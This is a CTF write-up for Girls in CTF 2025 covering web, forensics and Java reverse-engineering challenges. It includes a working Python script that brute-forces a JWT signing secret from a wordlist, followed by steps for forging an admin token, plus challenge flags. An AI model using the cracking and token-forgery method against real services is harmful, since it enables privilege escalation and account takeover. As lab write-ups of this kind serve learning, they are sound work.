> For the complete documentation index, see [llms.txt](https://lilacj4de.gitbook.io/lilas-space/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lilacj4de.gitbook.io/lilas-space/ctf-stuff/girls-in-ctf-2025.md).

# Girls in CTF 2025

This writeup is all my solves (which is not much but it's all I can do given my condition at the time). Special shoutout to Sarah for being the hard carry fr ✨

## Category: Web

### Basic Login

<figure><img src="/files/GqUATfpsUfTlQqVLaZfe" alt=""><figcaption></figcaption></figure>

Upon launching an instance, we can see that there is a column to input username. Input any username of your choice (mine is admin) and it will automatically generate the JWT token for you.

<figure><img src="/files/lDAGDXPjmaNy2dnVJY8L" alt=""><figcaption></figcaption></figure>

Upon successful token generation, there is a button to check/request for admin privileges. Clicking the button revealed that we indeed do not have the admin privileges.

<figure><img src="/files/lspHWQua1AnFK3yrYGsC" alt=""><figcaption></figcaption></figure>

The main goal is to perform JWT cracking by manipulating the token to gain admin privileges. With the help of chatgpt, I created a python script to help me uncover the password that is used to sign the JSON Web Token (JWT).

```
# check_secret_on_token.py
# Usage: python check_secret_on_token.py wordlist.txt
import jwt, sys
 
# ORIGINAL TOKEN (from you)
TOKEN =  <insert the token here>
 
if len(sys.argv) < 2:
    print("Usage: python check_secret_on_token.py wordlist.txt")
    sys.exit(1)
 
wordlist = sys.argv[1]
 
print("[*] Trying to verify original token using", wordlist)
with open(wordlist, errors="ignore") as f:
    for i, line in enumerate(f):
        s = line.strip()
        if not s:
            continue
        try:
            # we skip expiration verification to allow testing old tokens
            payload = jwt.decode(TOKEN, s, algorithms=["HS256"], options={"verify_exp": False})
            print("[+] FOUND secret:", s)
            print("[+] payload:", payload)
            break
        except jwt.exceptions.InvalidSignatureError:
            if i % 500 == 0:
                print(f"    tried {i} entries... still no")
        except jwt.exceptions.ExpiredSignatureError:
            print("[!] signature valid but token expired! secret:", s)
            try:
                payload = jwt.decode(TOKEN, s, algorithms=["HS256"], options={"verify_exp": False})
                print("payload:", payload)
            except Exception:
                pass
            break
        except Exception as e:
            print("[!] error for", s, type(e).__name__, e)
            break

```

<figure><img src="/files/tg8P8qlPeLAyntq4pOHc" alt=""><figcaption></figcaption></figure>

We found the password used to sign the token, but the role is still a user. I use jwt.io to rebuild the token and sign it used the obtained secret passphrase *princess.*

<figure><img src="/files/5jETwhruKdPUvI365qMR" alt=""><figcaption></figcaption></figure>

Replace the modified token to the column and you’ll obtain the flag.

<figure><img src="/files/dBly6fRF9weGUXdh5cev" alt=""><figcaption></figcaption></figure>

```
Flag: GCTF25{w34K_5ecr3t_1S_@_WEAK_prInC3S5_Mu@h!_21843aef0f58}
```

### Nyan Nyan PDF Genereator

<figure><img src="/files/NavNMxhwtGesVhDvGDHB" alt=""><figcaption></figcaption></figure>

Upon launching an instance, we are directed to a webpage that generates a PDF upon input. The description hinted at secret so I assumed that the directory is as such.

<figure><img src="/files/OH3KAtGjMe2Wd5PyVJZU" alt=""><figcaption></figcaption></figure>

Download and open the pdf file to get the flag

`Flag: GCTF25{n07_a_9o0D_w@y_t0_geN3Ra73_PdF_nY@NN~_1c77db107556}`

### Nyeow Nyeow PDF Generator

<figure><img src="/files/TSjl2mCg7g3mgEesXK5H" alt=""><figcaption></figcaption></figure>

Create an instance to access the webpage.

The challenge desc hinted at /nyan-nyan, hence I tried that one. \<path /nyan-nyan>

<figure><img src="/files/UDcu2vfLXzCDgPn8QZ5S" alt=""><figcaption></figcaption></figure>

Download and open .pdf to obtain the flag.

`Flag: GCTF25{NY4N_ny@n_5hou1d_noT_AI1#w_r3D1r3Ct_WIuu~_b06f05422318}`

## Forensics

### NHAT 1

<figure><img src="/files/GcTWZD4E9udi69q1Fhsh" alt=""><figcaption></figcaption></figure>

First log tells us about `History-journal`

| SourceFile                                                                  | SourceFileSha1                           | Reason  |
| --------------------------------------------------------------------------- | ---------------------------------------- | ------- |
| C:\Users\zach\AppData\Local\Google\Chrome\User Data\Default\History-journal | DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 | Deduped |

```
├── Local
│   └── Google
│       └── Chrome
│           └── User Data
│               └── Default
│                   ├── Favicons
│                   ├── Favicons-journal
│                   ├── History
│                   ├── Login Data
│                   ├── Network
│                   │   └── Cookies
│                   ├── Network Action Predictor
│                   ├── Preferences
│                   ├── Sessions
│                   │   ├── Session_13402043187619092
│                   │   ├── Session_13402043477686091
│                   │   ├── Tabs_13402043343841306
│                   │   └── Tabs_13402043477756296
│                   ├── Shortcuts
│                   ├── Top Sites
│                   └── Web Data
└── Roaming
    └── Microsoft
        └── Protect
            └── S-1-5-21-1013411303-2420397385-2210645690-1001
                ├── 2a226c54-7078-4263-aaed-c0bf57c31504
                └── Preferred
```

Reading the history:

```
strings History | grep "gctf"
gctf{w4Rm!ng_Up_WItH_BROw$3r_HIsToRY}gctf{w4rm!ng_up_with_brow$3r_history}Q
gctf{w4Rm!ng_Up_WItH_BROw$3r_HIsToRY}gctf{w4rm!ng_up_with_brow$3r_history}
gctf{w4rm!ng_up_with_brow$3r_history}
gctf{w4rm!ng_up_with_brow$3r_history}
gctf{w4Rm!ng_Up_WItH_BROw$3r_HIsToRY}
W       gctf{w4Rm!ng_Up_WItH_BROw$3r_HIsToRY}
<https://www.google.com/search?q=gctf%7Bw4rm!ng_up_with_brow%243r_history%7D&sourceid=chrome&ie=UTF-8gctf{w4rm!ng_up_with_brow$3r_history}>
<https://www.google.com/search?q=gctf%7Bw4rm!ng_up_with_brow%243r_history%7D&sourceid=chrome&ie=UTF-8gctf{w4rm!ng_up_with_brow$3r_history}>
<https://www.google.com/search?q=gctf%7Bw4Rm!ng_Up_WItH_BROw%243r_HIsToRY%7D&oq=gctf%7Bw4Rm!ng_Up_WItH_BROw%243r_HIsToRY%7D&gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIHCAEQABjvBTIHCAIQABjvBTIKCAMQABiABBiiBDIHCAQQABjvBTIHCAUQABjvBdIBBzc5MmowajSoAgCwAgE&sourceid=chrome&ie=UTF-8https://www.google.com/>
<https://www.google.com/search?q=gctf%7Bw4Rm!ng_Up_WItH_BROw%243r_HIsToRY%7D&oq=gctf%7Bw4Rm!ng_Up_WItH_BROw%243r_HIsToRY%7D&gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIHCAEQABjvBTIHCAIQABjvBTIKCAMQABiABBiiBDIHCAQQABjvBTIHCAUQABjvBdIBBzc5MmowajSoAgCwAgE&sourceid=chrome&ie=UTF-8https://www.google.com/>
<https://www.google.com/search?q=gctf%7Bw4Rm!ng_Up_WItH_BROw%243r_HIsToRY%7D&oq=gctf%7Bw4Rm!ng_Up_WItH_BROw%243r_HIsToRY%7D&gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIHCAEQABjvBTIHCAIQABjvBTIKCAMQABiABBiiBDIHCAQQABjvBTIHCAUQABjvBdIBBzc5MmowajSoAgCwAgE&sourceid=chrome&ie=UTF-8&sei=XmLCaIryIpm64-EP7cTPyAU>
<https://www.google.com/search?q=gctf%7Bw4Rm!ng_Up_WItH_BROw%243r_HIsToRY%7D&oq=gctf%7Bw4Rm!ng_Up_WItH_BROw%243r_HIsToRY%7D&gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIHCAEQABjvBTIHCAIQABjvBTIKCAMQABiABBiiBDIHCAQQABjvBTIHCAUQABjvBdIBBzc5MmowajSoAgCwAgE&sourceid=chrome&ie=UTF-8>
<https://www.google.com/search?q=gctf%7Bw4Rm!ng_Up_WItH_BROw%243r_HIsToRY%7D&oq=gctf%7Bw4Rm!ng_Up_WItH_BROw%243r_HIsToRY%7D&gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIHCAEQABjvBTIHCAIQABjvBTIKCAMQABiABBiiBDIHCAQQABjvBTIHCAUQABjvBdIBBzc5MmowajSoAgCwAgE&sourceid=chrome&ie=UTF-8gctf{w4Rm!ng_Up_WItH_BROw$3r_HIsToRY}> - Google Search
<https://www.google.com/search?q=gctf%7Bw4Rm!ng_Up_WItH_BROw%243r_HIsToRY%7D&oq=gctf%7Bw4Rm!ng_Up_WItH_BROw%243r_HIsToRY%7D&gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIHCAEQABjvBTIHCAIQABjvBTIKCAMQABiABBiiBDIHCAQQABjvBTIHCAUQABjvBdIBBzc5MmowajSoAgCwAgE&sourceid=chrome&ie=UTF-8&sei=XmLCaIryIpm64-EP7cTPyAUgctf{w4Rm!ng_Up_WItH_BROw$3r_HIsToRY}> - Google Search
```

`Flag: gctf{w4rm!ng_up_with_brow$3r_history}`

### NHAT 2

<figure><img src="/files/MYH1ppIoB9RcAKdClL3g" alt=""><figcaption></figcaption></figure>

From the shortcut. we can see the previous flag:

<figure><img src="/files/fXYCoWFySCJLB9Z2m35F" alt=""><figcaption></figcaption></figure>

After few checks, there is one URL that stood out: [`https://github.com/ghostpack/sharpdpapi`](https://github.com/ghostpack/sharpdpapi)&#x20;

<figure><img src="/files/2hCU6YkYpnbHIFyfd2PN" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/hhlfJ0ySaBECOHasT93L" alt=""><figcaption></figcaption></figure>

After few checks, there is another URL that stood out: [`https://github.com/ourokronii-hololive/sharpup`](https://github.com/ourokronii-hololive/sharpup)

<figure><img src="/files/BXrvhKzlIv63oqDRc7GR" alt=""><figcaption></figcaption></figure>

We got some similar files:

<figure><img src="/files/L2BGLOXhH2Tq1MjbuEiN" alt=""><figcaption></figcaption></figure>

```
Flag: gctf{57E4LINg_froM_Gh0STPACk}
```

## Reverse Engineering

### Invitation to Java

<figure><img src="/files/vbKKD0mz7xzEaeBazeg8" alt=""><figcaption></figcaption></figure>

Decompiled the .jar file, the files given are:

* Main.java — provides the encoded byte array and the key.
* Validator.java — abstract class implementing a decode() that XORs every byte with the provided key and returns a UTF-8 string.
* InviteValidator.java — concrete validator that checks whether the user input equals the decoded string.
* Encoded bytes in Main:

```
byte[] encoded = new byte[]{61,57,46,60,33,16,59,44,27,5,107,41,5,44,105,40,3,5,60,47,20,5,24,15,46,5,20,106,46,5,21,106,42,39};
byte ke
y = 90;
decode() behavior in Validator:
for (int i = 0; i < encoded.length; i++) {
    result[i] = (byte)(encoded[i] ^ key);
}
return new String(result, StandardCharsets.UTF_8);
```

The program uses a simple XOR cipher where each byte in the encoded array is XOR'd with the single-byte key 90. Because XOR is reversible and the key is present in Main, we can recover the original plaintext by XOR'ing each encoded byte with the same key.

Apply the same XOR operation to the byte array and decode as UTF-8.

In this case, I use a short Java snippet to XOR each byte with 90 to reveal the flag:

```
import java.nio.charset.StandardCharsets;
public class Solve {
    public static void main(String[] args) {
        byte[] encoded = new byte[]{
            61, 57, 46, 60, 33, 16, 59, 44, 27, 5,
            107, 41, 5, 44, 105, 40, 3, 5, 60, 47,
            20, 5, 24, 15, 46, 5, 20, 106, 46, 5,
            21, 106, 42, 39
        };
        byte key = 90;
 
        byte[] decoded = new byte[encoded.length];
        for (int i = 0; i < encoded.length; i++) {
            decoded[i] = (byte)(encoded[i] ^ key);
        }
 
        String flag = new String(decoded, StandardCharsets.UTF_8);
        System.out.println(flag);
    }
}
```

```
Flag: gctf{JavA_1s_v3rY_fuN_BUt_N0t_O0p}
```

That's all! Yet another great CTF from the organizer, hope that I get to join the next one with a cleaner bill of health\~&#x20;
